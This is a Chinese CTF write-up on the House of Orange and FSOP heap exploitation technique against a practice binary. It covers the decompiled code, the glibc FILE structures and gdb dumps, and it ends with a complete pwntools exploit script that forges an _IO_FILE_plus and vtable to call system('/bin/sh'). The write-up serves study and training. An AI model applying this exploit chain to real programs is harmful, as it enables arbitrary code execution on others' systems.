一点踩过的坑,对于申请堆块所自动填的内容,千万不要填三个字符,因为只有1.5字节不变,会覆盖掉原本里面残留的东西,这样就只能打本地而不是远程了

保护全开,堆溢出

参考

__lifanxin
SuperGate

FSOP(File Stream Oriented Programming)

unsortedBin attack篡改_IO_list_all,伪造_IO_FILE_plus结构和vtable放入small bin 0x60的位置

House of orange

当程序没有free的时候,可以通过篡改top chunk的size,然后再次申请一个比这个size大的chunk就会从mmap里申请,将top chunk放到unsortedBin,来泄漏libc_base
其中篡改有一系列检查

assert ((old_top == initial_top (av) && old_size == 0) ||((unsigned long) (old_size) >= MINSIZE &&prev_inuse (old_top) &&((unsigned long) old_end & (pagesize - 1)) == 0));/* Precondition: not enough current space to satisfy nb request */assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

翻译

    大于MINSIZE(0X10)小于所需的大小 + MINSIZEprev inuse位设置为1old_top + oldsize的值是页对齐的//0x1000

代码审计

add

int add()
{unsigned int size; // [rsp+8h] [rbp-18h]int color_choice; // [rsp+Ch] [rbp-14h]_QWORD *v3; // [rsp+10h] [rbp-10h]_DWORD *v4; // [rsp+18h] [rbp-8h]if ( add_num_203070 > 3u ){puts("Too many house");exit(1);}v3 = malloc(0x10uLL);printf("Length of name :");size = sub_C65();if ( size > 0x1000 )size = 0x1000;v3[1] = malloc(size);                         // 重新申请if ( !v3[1] ){puts("Malloc error !!!");exit(1);}printf("Name :");readin((void *)v3[1], size);v4 = calloc(1uLL, 8uLL);printf("Price of Orange:");*v4 = sub_C65();color_memu();printf("Color of Orange:");color_choice = sub_C65();if ( color_choice != 0xDDAA && (color_choice <= 0 || color_choice > 7) ){puts("No such color");exit(1);}if ( color_choice == 0xDDAA )v4[1] = 0xDDAA;elsev4[1] = color_choice + 30;*v3 = v4;addr_qword_203068 = v3;++add_num_203070;return puts("Finish");
}


差不多是这个结构

edit 堆溢出

int edit()
{_DWORD *v1; // rbxunsigned int v2; // [rsp+8h] [rbp-18h]int v3; // [rsp+Ch] [rbp-14h]if ( edit_num_203074 > 2u )return puts("You can't upgrade more");if ( !addr_qword_203068 )return puts("No such house !");printf("Length of name :");v2 = sub_C65();if ( v2 > 0x1000 )v2 = 0x1000;printf("Name:");readin((void *)addr_qword_203068[1], v2);printf("Price of Orange: ");v1 = (_DWORD *)*addr_qword_203068;*v1 = sub_C65();color_memu();printf("Color of Orange: ");v3 = sub_C65();if ( v3 != 0xDDAA && (v3 <= 0 || v3 > 7) ){puts("No such color");exit(1);}if ( v3 == 0xDDAA )*(_DWORD *)(*addr_qword_203068 + 4LL) = 0xDDAA;else*(_DWORD *)(*addr_qword_203068 + 4LL) = v3 + 30;++edit_num_203074;return puts("Finish");
}

IO相关结构介绍

_IO_FILE

struct _IO_FILE {int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags/* The following pointers correspond to the C++ streambuf protocol. *//* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */char* _IO_read_ptr;    /* Current read pointer */char* _IO_read_end;    /* End of get area. */char* _IO_read_base;    /* Start of putback+get area. */char* _IO_write_base;    /* Start of put area. */char* _IO_write_ptr;    /* Current put pointer. */char* _IO_write_end;    /* End of put area. */char* _IO_buf_base;    /* Start of reserve area. */char* _IO_buf_end;    /* End of reserve area. *//* The following fields are used to support backing up and undo. */char *_IO_save_base; /* Pointer to start of non-current get area. */char *_IO_backup_base;  /* Pointer to first valid character of backup area */char *_IO_save_end; /* Pointer to end of non-current get area. */struct _IO_marker *_markers;struct _IO_FILE *_chain;int _fileno;
#if 0int _blksize;
#elseint _flags2;
#endif_IO_off_t _old_offset; /* This used to be _offset but it's too small.  */#define __HAVE_COLUMN /* temporary *//* 1+column number of pbase(); 0 is unknown. */unsigned short _cur_column;signed char _vtable_offset;char _shortbuf[1];/*  char* _save_gptr;  char* _save_egptr; */_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

主要注意这个,chain,是链表的指针域

  struct _IO_FILE *_chain;

_IO_FILE_plus

在_IO_FILE的基础上加了个vtable对象

struct _IO_FILE_plus
{_IO_FILE    file;IO_jump_t   *vtable;
}

_IO_jump_t

是一个虚表,存放着函数指针

struct _IO_jump_t
{JUMP_FIELD(size_t, __dummy);JUMP_FIELD(size_t, __dummy2);JUMP_FIELD(_IO_finish_t, __finish);JUMP_FIELD(_IO_overflow_t, __overflow);JUMP_FIELD(_IO_underflow_t, __underflow);JUMP_FIELD(_IO_underflow_t, __uflow);JUMP_FIELD(_IO_pbackfail_t, __pbackfail);/* showmany */JUMP_FIELD(_IO_xsputn_t, __xsputn);JUMP_FIELD(_IO_xsgetn_t, __xsgetn);JUMP_FIELD(_IO_seekoff_t, __seekoff);JUMP_FIELD(_IO_seekpos_t, __seekpos);JUMP_FIELD(_IO_setbuf_t, __setbuf);JUMP_FIELD(_IO_sync_t, __sync);JUMP_FIELD(_IO_doallocate_t, __doallocate);JUMP_FIELD(_IO_read_t, __read);JUMP_FIELD(_IO_write_t, __write);JUMP_FIELD(_IO_seek_t, __seek);JUMP_FIELD(_IO_close_t, __close);JUMP_FIELD(_IO_stat_t, __stat);JUMP_FIELD(_IO_showmanyc_t, __showmanyc);JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0get_column;set_column;
#endif
};

在gdb里可以通过他的对象查看vtable这个实例

pwndbg> p /x *(struct _IO_jump_t*)_IO_list_all.vtable
$3 = {__dummy = 0x0, __dummy2 = 0x0, __finish = 0x7ffff7a869d0, __overflow = 0x7ffff7a87740, __underflow = 0x7ffff7a874b0, __uflow = 0x7ffff7a88610, __pbackfail = 0x7ffff7a89990, __xsputn = 0x7ffff7a861f0, __xsgetn = 0x7ffff7a85ed0, __seekoff = 0x7ffff7a854d0, __seekpos = 0x7ffff7a88a10, __setbuf = 0x7ffff7a85440, __sync = 0x7ffff7a85380, __doallocate = 0x7ffff7a7a190, __read = 0x7ffff7a861b0, __write = 0x7ffff7a85b80, __seek = 0x7ffff7a85980, __close = 0x7ffff7a85350, __stat = 0x7ffff7a85b70, __showmanyc = 0x7ffff7a89b00, __imbue = 0x7ffff7a89b10
}

_IO_flush_all_lockp

_IO_flush_all_lockp (int do_lock)
{int result = 0;FILE *fp;
#ifdef _IO_MTSAFE_IO_IO_cleanup_region_start_noarg (flush_cleanup);_IO_lock_lock (list_all_lock);
#endiffor (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)//遍历_IO_list_all{run_fp = fp;if (do_lock)_IO_flockfile (fp);if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/|| (_IO_vtable_offset (fp) == 0&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base)))&& _IO_OVERFLOW (fp, EOF) == EOF)/* 选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/result = EOF;if (do_lock)_IO_funlockfile (fp);run_fp = NULL;}
#ifdef _IO_MTSAFE_IO_IO_lock_unlock (list_all_lock);_IO_cleanup_region_end (0);
#endifreturn result;
}

_IO_list_all(_IO_FILE_plus*的链表头)

这个打印的是指向的地址的内容

pwndbg> p /x *(struct _IO_FILE_plus*)_IO_list_all
$2 = {file = {_flags = 0xfbad2086, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd2620, _fileno = 0x2, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = {0x0}, _lock = 0x7ffff7dd3770, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7dd1660, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = {0x0 <repeats 20 times>}}, vtable = 0x7ffff7dd06e0
}

_IO_list_all指向stderr,然后依次是stdoutstdin,这个指向是通过*chain实现

漏洞利用

当glibc检测到一些内存崩溃问题时,会进入到Abort routine(中止过程),他会把所有的streams送到第一阶段中(stage one)。而这个过程中,程序会调用_IO_flush_all_lockp函数,并会使用_IO_list_all变量。

函数调用链
malloc_printerr-> __libc_message—>abort->flush->_IO_flush_all_lock->_IO_OVERFLOW
而_IO_OVERFLOW最后会调用vtable表中的__overflow 函数
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

所以我们主要关注vtable中的第四个成员__overflow,劫持它为system,然后第一个参数FP为binsh

既然_IO_list_all是链表头,如果我们篡改了他指向的地址为伪造的_IO_FILE_plus结构体,就能进行一系列操作,具体如下:
_IO_list_all修改为main_arena+88后,由于_IO_list_all中的 *chain指针位于 _IO_list_all + 0x68的位置,也就是 main_arena + 88 + 0x68-->small bin中大小为0x60的位置,所以之前将old top chunk的size修改为0x60old top chunk就会链入small bin中,这时就可以将伪造的file结构链入IO_all_list中,那么在上述_IO_flush_all_lockp函数中的第二次循环时fp就能指向伪造的file结构。

第一步,溢出,篡改top chunk size

 # House of orange to send top chunk to unsortedbinadd(0x20,'aaaa',0x10)pl=b'a'*0x20+p64(0)+p64(0x21)+p32(0x10)+p32(0x1f)+p64(0)*2+p64(0xf91)edit(len(pl),pl,0x10)add(0x1000,'bbbb',0x10)

第二步,泄漏libc_base和heap_base

 # leak libc_base# chunk in unsortedbin will into largebin when it dissatisfy required size,and then it's rest chunk reaccess unsortedbin# because of accessed largebin,it will leave pointer to itself,we can leak heap_base via thisadd(0x400,'a',0x10)# now unsortedbin leave chunk of size 0xae1show()    leak=uu64(ru('\x7f')[-6:])#main_area_xx=uu64(ru('\x7f')[-6:])info('leak',leak)#0x7ffff7dd2161libc_base=leak-(0x7ffff7dd2161-0x7ffff7a0d000)#IO_list_all=(main_area_xx & 0xfffffffffffff000)+(libc.sym['_IO_list_all'] & 0xfff)     IO_list_all=libc_base+libc.sym['_IO_list_all']info('IO_list',IO_list_all)#libc_base=IO_list_all-libc.sym['_IO_list_all']system=libc_base+libc.sym['system']info('libc_base',libc_base)# leak heap_baseedit(0x10,'c'*0x10,0x10)show()ru('c'*0x10)heap_base=uu64(ru('\n')[:-1])-0xd0info("heap_base",heap_base)

其中这个写法值得学习

IO_list_all=(main_area_xx & 0xfffffffffffff000)+(libc.sym['_IO_list_all'] & 0xfff)

第三步,FSOP

其中需要绕过的检查

_IO_flush_all_lockp (int do_lock)
{int result = 0;FILE *fp;
#ifdef _IO_MTSAFE_IO_IO_cleanup_region_start_noarg (flush_cleanup);_IO_lock_lock (list_all_lock);
#endiffor (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)//遍历_IO_list_all{run_fp = fp;if (do_lock)_IO_flockfile (fp);if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/|| (_IO_vtable_offset (fp) == 0&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base)))&& _IO_OVERFLOW (fp, EOF) == EOF)/* 当前的fp指针作为_IO_OVERFLOW的参数,执行函数*/result = EOF;if (do_lock)_IO_funlockfile (fp);run_fp = NULL;}
#ifdef _IO_MTSAFE_IO_IO_lock_unlock (list_all_lock);_IO_cleanup_region_end (0);
#endifreturn result;
}

开始溢出,有个0x20的无用chunk,别管她

 # overflow,and 0x21 is useless chunkpayload=b'a'*0x400+p64(0)+p64(0x21)+b'a'*0x10


伪造0x60
在_io_flush_all_lockp中

          && _IO_OVERFLOW (fp, EOF) == EOF)/* 当前的fp指针作为_IO_OVERFLOW的参数,执行函数*/

会将fp,当前指向_IO_FILE_plus的结构体的指针作为__OVERFLOW的参数传递,也就是binsh所要放置的位置

 # fd ptr is in _IO_list_all and transmit to _OVERFLOW(fd,EOF) as parameter,so fd is point to prev_size fieldfake_file=b'/bin/sh\x00'+p64(0x60)# unsortedbin attack , bk point to target_addr-0x10fake_file+=p64(0)+p64(IO_list_all-0x10)# fp->_IO_write_ptr > fp->_IO_write_base, so choose 0 and 1fake_file+=p64(0) + p64(1)fake_file=fake_file.ljust(0xc0,b'\x00')fake_file+=p64(0)*3

对于为什么这么填充,可以看看这个测试

最终达到这个状态

pwndbg> p /x *(struct _IO_FILE_plus*)0x555555758500
$1 = {file = {_flags = 0x6e69622f, _IO_read_ptr = 0x60, _IO_read_end = 0x0, _IO_read_base = 0x7ffff7dd2510, _IO_write_base = 0x0, _IO_write_ptr = 0x1, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0x0, _flags2 = 0x0, _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = {0x0}, _lock = 0x0, _offset = 0x0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = {0x0 <repeats 20 times>}}, vtable = 0x5555557585d8
}

接下来伪造vtable

 # vtable pointer's positionfake_file+=p64(heap_base + 0x5d8)# follow is position that vtable point to#  __dummy, __dummy2, __finish, __overflow,  4 itemsfake_file+=p64(0)*2fake_file+=p64(system)payload+=fake_fileedit(len(payload),payload,0x10)

+0x5d8是为了指向自己,根据个人情况调整

__dummy应该是4字节,这里不知道为什么要把vtable地址当做第一个参数给__dummy,不过不纠结了,到时候再研究。
研究出来了,第一个参数是什么都无所谓,这样也可以,三个p64(0)填充掉前三个参数

 # vtable pointer's positionfake_file+=p64(heap_base + 0x5e0)# follow is position that vtable point to#  __dummy, __dummy2, __finish, __overflow,  4 itemsfake_file+=p64(0)*3fake_file+=p64(system)payload+=fake_fileedit(len(payload),payload,0x10)

呈现这个样子

pwndbg> p *((struct _IO_FILE_plus *)0x555555758500).vtable
$1 = {__dummy = 0, __dummy2 = 0, __finish = 0x0, __overflow = 0x7ffff7a523a0 <__libc_system>, __underflow = 0x0, __uflow = 0x0, __pbackfail = 0x0, __xsputn = 0x0, __xsgetn = 0x0, __seekoff = 0x0, __seekpos = 0x0, __setbuf = 0x0, __sync = 0x0, __doallocate = 0x0, __read = 0x0, __write = 0x0, __seek = 0x0, __close = 0x0, __stat = 0x0, __showmanyc = 0x0, __imbue = 0x0
}

最终是这样捏

第四步,getshell

再捋一下完整调用链

  1. 先是申请一个0x10 的chunk,会在unsortedBin里先找 ,但是找不到,就把unsortedBin里的fake chunk放入smallbin了,同时unsortedBin attack篡改掉_IO_list_all
  2. malloc_printerr-> __libc_message—>abort->flush->_IO_flush_all_lock
  3. 在_IO_flush_all_lock中,会遍历_IO_list_all的链表,就会遍历到我们伪造的fake_IO_FILE_plus结构挂在smallBin 0x60也就是被attack后的(void*)chain的位置,fp正好就指向binsh
  4. 最后调用__OVERFLOW(fp,EOF),也就是进入vtable调用system binsh

exp

from pwn import*
context(os='Linux',log_level = 'debug',arch='i386')
name="test"
elf=ELF("./"+name)
local=1
v64=1port=28680
IP="node4.buuoj.cn"
if local:p=process("./"+name)if v64:libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")else:libc=ELF("/lib/i386-linux-gnu/libc.so.6")
else:p=remote(IP,port)if v64:libc=ELF("/home/squirrel/桌面/buulibc/16/64/libc-2.23.so")else:libc=ELF("/home/squirrel/桌面/buulibc/18/32/libc-2.27.so")def dbg():gdb.attach(p)pause()
'''
sed -i s/alarm/isnan/g ./testlibcbase=printf-libc.sym['printf']system=libcbase+libc.sym['system']binsh=libcbase+next(libc.search(b'/bin/sh')))
'''
ogg64=[0x45226,0x4527a,0xf03a4,0xf1247]
sssssss="%i$n"
se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims        :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
info    = lambda tag, addr        :p.info('======>'+tag + ': {:#x}'.format(addr))
ir    = lambda                    :p.interactive()def choice(i):sla("Your choice : ",str(i))def add(length,name,price):sla('Your choice : ','1')sla('Length of name :',str(length))sa('Name :',name)sla('Price of Orange:',str(price))sla('Color of Orange:','1')
def show():sla('Your choice : ','2')def edit(length,name,price):sla('Your choice : ','3')sla('Length of name :',str(length))sa('Name:',name)sla('Price of Orange: ',str(price))sla('Color of Orange: ','1')def exp(i):# House of orange to send top chunk to unsortedbinadd(0x20,'aaaa',0x10)pl=b'a'*0x20+p64(0)+p64(0x21)+p32(0x10)+p32(0x1f)+p64(0)*2+p64(0xf91)edit(len(pl),pl,0x10)add(0x1000,'bbbb',0x10)# leak libc_base# chunk in unsortedbin will into largebin when it dissatisfy required size,and then it's rest chunk reaccess unsortedbin# because of accessed largebin,it will leave pointer to itself,we can leak heap_base via thisadd(0x400,'a',0x10)# now unsortedbin leave chunk of size 0xae1show()   leak=uu64(ru('\x7f')[-6:])#main_area_xx=uu64(ru('\x7f')[-6:])info('leak',leak)#0x7ffff7dd2161libc_base=leak-(0x7ffff7dd2161-0x7ffff7a0d000)#IO_list_all=(main_area_xx & 0xfffffffffffff000)+(libc.sym['_IO_list_all'] & 0xfff)     IO_list_all=libc_base+libc.sym['_IO_list_all']info('IO_list',IO_list_all)#libc_base=IO_list_all-libc.sym['_IO_list_all']system=libc_base+libc.sym['system']info('libc_base',libc_base)# leak heap_baseedit(0x10,'c'*0x10,0x10)show()ru('c'*0x10)heap_base=uu64(ru('\n')[:-1])-0xd0info("heap_base",heap_base)# overflow,and 0x21 is useless chunkpayload=b'a'*0x400+p64(0)+p64(0x21)+b'a'*0x10# fd ptr is in _IO_list_all and transmit to _OVERFLOW(fd,EOF) as parameter,so fd is point to prev_size fieldfake_file=b'/bin/sh\x00'+p64(0x60)# unsortedbin attack , bk point to target_addr-0x10fake_file+=p64(0)+p64(IO_list_all-0x10)# fp->_IO_write_ptr > fp->_IO_write_base, so choose 0 and 1fake_file+=p64(0) + p64(1)fake_file=fake_file.ljust(0xd8,b'\x00')# vtable pointer's positionfake_file+=p64(heap_base + 0x5e0)# follow is position that vtable point to#  __dummy, __dummy2, __finish, __overflow,  4 itemsfake_file+=p64(0)*3fake_file+=p64(system)payload+=fake_fileedit(len(payload),payload,0x10)dbg()sla('Your choice : ','1')#debug()p.interactive()if __name__=="__main__":exp(1)ir()

[已迁移]pwn-House of Orange+FSOP相关推荐

  1. css在线工具_已迁移

    为什么80%的码农都做不了架构师?>>>    已迁移 http://www.css3.me/ http://developer.51cto.com/art/201209/35844 ...

  2. 博客已迁移至简书:https://www.jianshu.com/u/68409598ede7

    博客部分文章已迁移至简书:https://www.jianshu.com/u/68409598ede7

  3. [公告]本博客已迁移到 tpu01yzx.me

    本博客已迁移到 https://tpu01yzx.me/p/category/archive/csdn

  4. GitLab 已迁移至谷歌云平台,并表示目前运行良好

    百度智能云 云生态狂欢季 热门云产品1折起>>>   上个月 GitLab 就已对外公布,他们计划在8月进行从 Azure 迁移到谷歌云平台(Google Cloud Platfor ...

  5. 微软部分服务已迁移至中国本地服务器

    为了加快国内用户在访问服务时的速度,微软已经开始将部分服务迁移至位于中国大陆的服务器.最近,微软的开源代码编辑器VSCode也将下载和更新服务迁移到了Azure中国的服务器上. 微软方面表示:由于中国 ...

  6. Firefox UI已迁移至Web Components

    这不是一项一蹴而就的工程,Mozilla 开发者表示团队花费了大约两年的时间,采用"增量更新"的方式才逐渐将 Firefox UI 迁移至使用 Web Components 构建. ...

  7. 重要更新|Amazon S3 和 CloudFront 已迁移至 Amazon Trust Services

     提醒  从2021年3月23日起,Amazon S3和Amazon CloudFront服务将迁移至Amazon Trust Services 传输层安全性(TLS,以前称为安全套接字层[SSL]) ...

  8. oracle异构迁移mysql方案实施(含原理)——已迁移成功

    从迁移方案的落地.迁移前准备.N次迁移演练.回归测试.性能调优整整用了四个月左右的时间(当然在此期间还包括其他项目及日常操作耗费工时).正式迁移到迁移成功.以及上线开服后性能稳定这些操作已经过去了一个 ...

  9. ASP.NET Aries 2.0 发布(原来的源码SVN已关闭,开源源码已迁移到GitHub)

    主要更新: 1:增加子目录部署支持. 2:增加Taurus.MVC支持. 3:优化及Bug修复. 1:增加子目录部署支持: 其实在重写Aries框架的时候,我是去掉了目录部署功能的,主要是为了加快Ar ...

最新文章

  1. java定义set_java – “方法流()未定义类型Set”
  2. Wireshark工具创建过滤器的方式ARP协议全面实战手册
  3. amqp协议 面试_2020最新分布式消息中间件-RabbitMQ面试题(必问)
  4. python小数据池,代码块的最详细、深入剖析
  5. leetcode--53. 最大子序和
  6. 和upm_官方辟谣!UPM减免15%学费是假的?
  7. Servlet API
  8. 快速排序的原理以及Java代码
  9. 10、什么是WEB端
  10. Mysql中的一绡规范约束,摘自《阿里巴巴 Java 开发手册》
  11. 使用镜像数据库减轻报表的负载
  12. 2.16_vertexgraph_顶点类和图类 (更新)
  13. 写入sql时间_一问SQL优化就无从藏身?那只是你对原理的精髓掌握不深
  14. Django的Form另类实现SelectMultiple
  15. java字符串查找算法_java – 查找所有“字符相等”字符串的高效算法?
  16. Java线程池如何体现自己的用途
  17. ps 毛发 边缘,抠图技巧,抠图后头发边缘的颜色怎处理
  18. openwrt nas_【群晖】用群晖虚拟机安装New Pi(OpenWRT)软路由系统
  19. SpatialDB |单细胞空间转录组数据分析可视化平台
  20. 量化投资学习——资产组合理论(Portfolio Theory)

热门文章

  1. 将大写字母转化为小写字母
  2. 源码包安装 httpd
  3. 【通信】基于OFDMA系统的多用户资源分配求解论附文和MATLAB代码
  4. java在文件中输出换行符
  5. 生活在数据时代;聊聊数据分析在当今社会生活中的有趣应用
  6. Java经典三角形:杨辉三角
  7. Ubuntu内核版本的降级
  8. BPSK码元速率与带宽的关系
  9. 科学计数法如何转换成普通的计数方式??
  10. Python中的循环语句